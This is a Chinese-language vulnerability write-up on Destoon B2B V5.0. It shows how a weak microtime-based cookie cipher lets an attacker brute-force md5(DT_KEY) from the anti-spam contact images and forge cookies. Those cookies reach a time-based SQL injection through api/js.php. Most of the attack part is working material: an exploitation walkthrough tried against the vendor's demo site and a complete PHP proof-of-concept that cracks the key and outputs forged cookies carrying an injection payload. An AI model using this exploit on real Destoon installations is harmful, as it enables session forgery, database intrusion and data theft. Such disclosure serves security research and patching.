出问题的是用于cookie加解密的encrypt和decrypt函数 首先看一下函数内容include/global.func.php 122行
function encrypt($txt, $key = '') { $key or $key = DT_KEY; //DT_KEY是在安装时生成的一个15位随机字符串 $rnd = md5(microtime());//缺陷 下面说 $len = strlen($txt); $ren = strlen($rnd); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == $ren ? 0 : $ctr; $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); //只是简单的按位异或 } return str_replace('=', '', base64_encode(kecrypt($str, $key))); } function decrypt($txt, $key = '') { $key or $key = DT_KEY; //这里才用到key $txt = kecrypt(base64_decode($txt), $key); $len = strlen($txt); $str = ''; for($i = 0; $i < $len; $i++) { $tmp = $txt[$i]; $str .= $txt[++$i] ^ $tmp; //也是异或 } return $str; }
粗看有随机数、有随机时间值、还做md5hash再异或好像很安全的样子 因为有两个未知key md5(microtime())和DT_KEY 等等 真的是两个么?搜一下microtime()的定义 定义和用法 microtime() 函数返回当前 Unix 时间戳和微秒数。 例子
<?php echo(microtime()); ?>
输出
0.25139300 1138197510
时间戳好说 http头中有个date值就是,微秒嘛后面两位固定为00前面有6位不可预知 6位也就是100W个可能,只要穷举100W次肯定有一次是正确的key(不要被100W吓到,本地跑起来是很快的) 再来看encrypt函数 简单表示一下 加密前的原文txt = a microtime生成的key = b md5(DT_KEY) = c 最后生成的密文 = d 整个流程简单来说就是
a^b = x x^c = d
现在b是已知的 如果能找到一个原文和密文的对照 也就是a和d 那就可以通过abd来推算出c 也就是key destoon很贴心的写了一段正好符合要求的代码 include/module.func.php 140行
function anti_spam($string) { global $MODULE, $DT; if($DT['anti_spam'] && preg_match("/^[a-z0-9_@\-\s\/\.\,\(\)\+]+$/i", $string)) { do { $tmp = encrypt($string); //加密 if(strpos($tmp, '0x') === false) break; } while(1); return '<img src="'.$MODULE[3]['linkurl'].'image.php?auth='.rawurlencode($tmp).'" align="absmddle"/>';//输出 } else { return $string; } }
这个函数的功能是“将电话、传真、Email等重要信息显示为图片格式,防止采集和复制” 调用示范
{if $member[mail]}<li><span>邮件</span>{anti_spam($member[mail])}</li>{/if} {if $member[telephone]}<li><span>电话</span>{anti_spam($member[telephone])}</li>{/if} {if $member[fax]}<li><span>传真</span>{anti_spam($member[fax])}</li>{/if}
没有比这个更好的输出点了,没有任何干扰。 这里拿官方demo做演示,随便找家公司查看联系方式 http://testfree1.demo.destoon.com/contact/
Mon, 26 May 2014 07:12:43 GMT 转成unix时间戳并加8个小时为1401088363
运气不错 15W多次就出来了 总共脚本运行时间大概就2秒 到这里 我们已经拿到了MD5后的DT_KEY,那么怎么来用这个key呢 跑MD5来还原真实的KEY也是一种思路,不过15位大小写+数字的彩虹表还是蛮大的。 回去搜了一下encrypt和decrypt函数的调用,找到了cookie的加解密 module/member/member.class.php 行376
$auth = encrypt($user['userid']."\t".$user['username']."\t".$user['groupid']."\t".$user['password']."\t".$user['admin'], md5(DT_KEY.$_SERVER['HTTP_USER_AGENT'])); set_cookie('auth', $auth, $cookietime); set_cookie('userid', $user['userid'], $cookietime); set_cookie('username', $user['username'], $DT_TIME + 86400*365);
登录完成后setcookie的地方,可以看到 cookie是用 userid{制表符}username{制表符}groupid{制表符}password{制表符}admin拼起来然后用 md5(DT_KEY+useragent)作为密钥用encrypt函数做加密的 小伙伴们都知道 user-agent是客户端提交的,如果我提交个空的user-agent,cookie就会用md5(DT_KEY)作为密钥,是不是很眼熟呢,这个就是我们上一步跑出来的东西。 现在我们已经可以伪造出任意合法的cookie了,一般到这里漏洞就要结束了 可惜destoon没想那么简单(已经很麻烦了)把rank给我,我们来看看cookie的验证过程 /common.inc.php行135
$destoon_auth = get_cookie('auth'); if($destoon_auth) { $_dauth = explode("\t", decrypt($destoon_auth, md5(DT_KEY.$_SERVER['HTTP_USER_AGENT'])));//解密也是用的DT_KEY+user-agent $_userid = isset($_dauth[0]) ? intval($_dauth[0]) : 0; $_username = isset($_dauth[1]) ? trim($_dauth[1]) : ''; $_groupid = isset($_dauth[2]) ? intval($_dauth[2]) : 3; $_admin = isset($_dauth[4]) ? intval($_dauth[4]) : 0; if($_userid && !defined('DT_NONUSER')) { $_password = isset($_dauth[3]) ? trim($_dauth[3]) : ''; $USER = $db->get_one("SELECT username,passport,company,truename,password,groupid,email,message,chat,sound,online,sms,credit,money,loginip,admin,aid,edittime,trade FROM {$DT_PRE}member WHERE userid=$_userid"); if($USER && $USER['password'] == $_password) { //居然验证密码了...cookie伪造在这里失败了
不死心继续搜索decrypt的调用,终于又发现了一个问题 module/member/admin.inc.php
<?php defined('IN_DESTOON') or exit('Access Denied'); $admin_user = false; if($_groupid == 1) { $admin_user = decrypt(get_cookie('admin_user')); if($admin_user) { $_USER = explode('|', $admin_user); //cookie格式 uid|uname if($_username = $_USER[1]) { $userid = $_USER[0];// userid来自cookie 且经过decrypt 无视防御 $USER = $db->get_one("SELECT username,passport,company,truename,password,groupid,email,message,chat,sound,online,sms,credit,money,loginip,admin,aid,edittime,trade FROM {$DT_PRE}member WHERE userid=$userid");//userid直接进sql if($USER) { $_userid = $userid; extract($USER, EXTR_PREFIX_ALL, ''); $MG = cache_read('group-'.$_groupid.'.php'); $admin_user = true; } } } } ?>
很明显的一个注入点,虽然Destoon默认不开启DEBUG,不显示错误信息,但我们一样可以用时间延迟来注入。 来看看注入的条件,首先进入查询的前提是$_groupid == 1 来看这个文件的调用,还是在/common.inc.php行135
$destoon_auth = get_cookie('auth'); if($destoon_auth) { $_dauth = explode("\t", decrypt($destoon_auth, md5(DT_KEY.$_SERVER['HTTP_USER_AGENT']))); $_userid = isset($_dauth[0]) ? intval($_dauth[0]) : 0; $_username = isset($_dauth[1]) ? trim($_dauth[1]) : ''; $_groupid = isset($_dauth[2]) ? intval($_dauth[2]) : 3; //来自cookie 可以伪造 $_admin = isset($_dauth[4]) ? intval($_dauth[4]) : 0; if($_userid && !defined('DT_NONUSER')) { //如果进入这个if就失败 $_password = isset($_dauth[3]) ? trim($_dauth[3]) : ''; $USER = $db->get_one("SELECT username,passport,company,truename,password,groupid,email,message,chat,sound,online,sms,credit,money,loginip,admin,aid,edittime,trade FROM {$DT_PRE}member WHERE userid=$_userid"); if($USER && $USER['password'] == $_password) { if($USER['groupid'] == 2) dalert(lang('message->common_forbidden')); extract($USER, EXTR_PREFIX_ALL, ''); //伪造的groupid被覆盖 if($USER['loginip'] != $DT_IP && ($DT['ip_login'] == 2 || ($DT['ip_login'] == 1 && IN_ADMIN))) { $_userid = 0; set_cookie('auth', ''); dalert(lang('message->common_login', array($USER['loginip'])), DT_PATH); } } else { $_userid = 0; //置0 if($db->linked && !isset($swfupload) && strpos($_SERVER['HTTP_USER_AGENT'], 'Flash') === false) set_cookie('auth', ''); } unset($destoon_auth, $USER, $_dauth, $_password); } } if($_userid == 0) { $_groupid = 3; $_username = ''; } //如果userid==0就设置groupid为3 if(!IN_ADMIN) { if($_groupid == 1) include DT_ROOT.'/module/member/admin.inc.php'; //如果到了这里$_groupid还是1 就包含
这个地方纠结很久 差点都放弃了 不管cookie里userid和groupid改成什么只要流程进了第一个if就废了 userid跟password匹配的话,groupid就会被extract覆盖,userid跟password不匹配的话进入else userid会被置0 不进入这个if的方法 一是userid为false 二就是NT_NONUSER,搜了一下发现一个很合适的文件。 api/js.php
define('DT_NONUSER', true); //符合要求 if($_SERVER['QUERY_STRING']) { $exprise = isset($_GET['tag_expires']) ? intval($_GET['tag_expires']) : 0; $moduleid = isset($_GET['moduleid']) ? intval($_GET['moduleid']) : 0; $moduleid > 3 or exit('document.write("<h2>Bad Parameter</h2>");'); //moduleid<3会退出 $tag = $_SERVER['QUERY_STRING']; $_SERVER['QUERY_STRING'] = $_SERVER['REQUEST_URI'] = ''; foreach($_GET as $k=>$v) { unset($$k); } $_GET = array(); require '../common.inc.php'; //包含了! header("Content-type:text/javascript"); ($DT['jstag'] && $DT['safe_domain'] && check_referer()) or exit('document.write("<h2>Invalid Referer</h2>");');
只要get moduleid>3就能带着我们的DT_NONUSER包含common.inc.php从而进入admin.inc.php的包含最终实现注入了
1、首先随便找个公司主页查看联系方式,需要记录3样东西:时间戳、原文、密文 2、将以上信息填入POC,运行POC获取cookie
3、用上一步生成的cookie去访问/api/js.php?moduleid=5,记得user-agent要设置为空 为了方便演示我这里把debug打开了 报错信息里能看到我们的注入语句
poc:(这个poc还有很多问题,比如它获取第一个符合正则的key就停止了 事实上有可能会碰上正好符合正则却不是真正key的情况,只要多获取几组数据看相同的就能找出真正的md5(DT_KEY))
<?php printf("--------------------------------------------------- Destoon B2B V5.0 weak encryption Vulnerability Author: Matt E-mail: root@qaz.me ---------------------------------------------------\n\n"); $time = "1401088826";//服务器返回的时间 记得GMT要加8小时 $txt = "admin88@baidu.com";//原始文本 $result = "WWFfPgdtWGcAbwJtCmNVQFc0VDRRaQNqDSZSeF1nVWVTZw";//密文 $md5key = crack($time,$txt,$result); echo "[+]key found:".$md5key."\n"; echo "[+]------------------------------------------------\n"; echo "[+]Cookie:\n"; //以下这些除了uid和groupid其它都无所谓 $uid = "1"; $uname = "matt"; $groupid = "1"; //groupid = 1 包含 $password = "asdf"; $admin = "0"; $cookie = $uid."\t".$uname."\t".$groupid."\t".$password."\t".$admin; $admin_user = '1xxxxx\'|asdf'; // “|”前写注入语句 echo "coe_auth=".encrypt($cookie, $md5key); echo ";coe_admin_user=".encrypt($admin_user, $md5key, '1')."\n"; function decrypt($txt, $key = '') { $txt = kecrypt(base64_decode($txt), $key); $len = strlen($txt); $str = ''; for($i = 0; $i < $len; $i++) { $tmp = $txt[$i]; $str .= $txt[++$i] ^ $tmp; } return $str; } function encrypt($txt, $key = '',$md5 = '0') { $rnd = md5(microtime()); $len = strlen($txt); $ren = strlen($rnd); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == $ren ? 0 : $ctr; $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); } return str_replace('=', '', base64_encode(kecrypt($str, $key, $md5))); } function kecrypt($txt, $key, $md5) { $key = $md5 == "0" ? md5($key) : $key; $len = strlen($txt); $ken = strlen($key); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == $ken ? 0 : $ctr; $str .= $txt[$i] ^ $key[$ctr++]; } return $str; } function crack($time,$txt,$result){ for ($a=1; $a < 999999; $a++) { if ($a%10000 == 0) { echo "."; } if ($a%100000 == 0) { echo $a."\n"; } $m = str_repeat(0, 6 - strlen($a)).$a; $rnd = md5("0.".$m."00 ".$time); $len = strlen($txt); $ren = strlen($rnd); $ctr = 0; $str = ''; for($i = 0; $i < $len; $i++) { $ctr = $ctr == $ren ? 0 : $ctr; $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]); } $key = ''; $tmp = base64_decode($result); $x = 0 ; for ($k=0; $k < strlen($tmp); $k++) { $x = $x == 32 ? 0 : $x; $key .= $tmp[$k] ^ $str[$x++]; } if (preg_match("/[a-f,0-9]{32,}/", $key)) { echo "$a\n"; return substr($key, 0,32); break; } } } ?>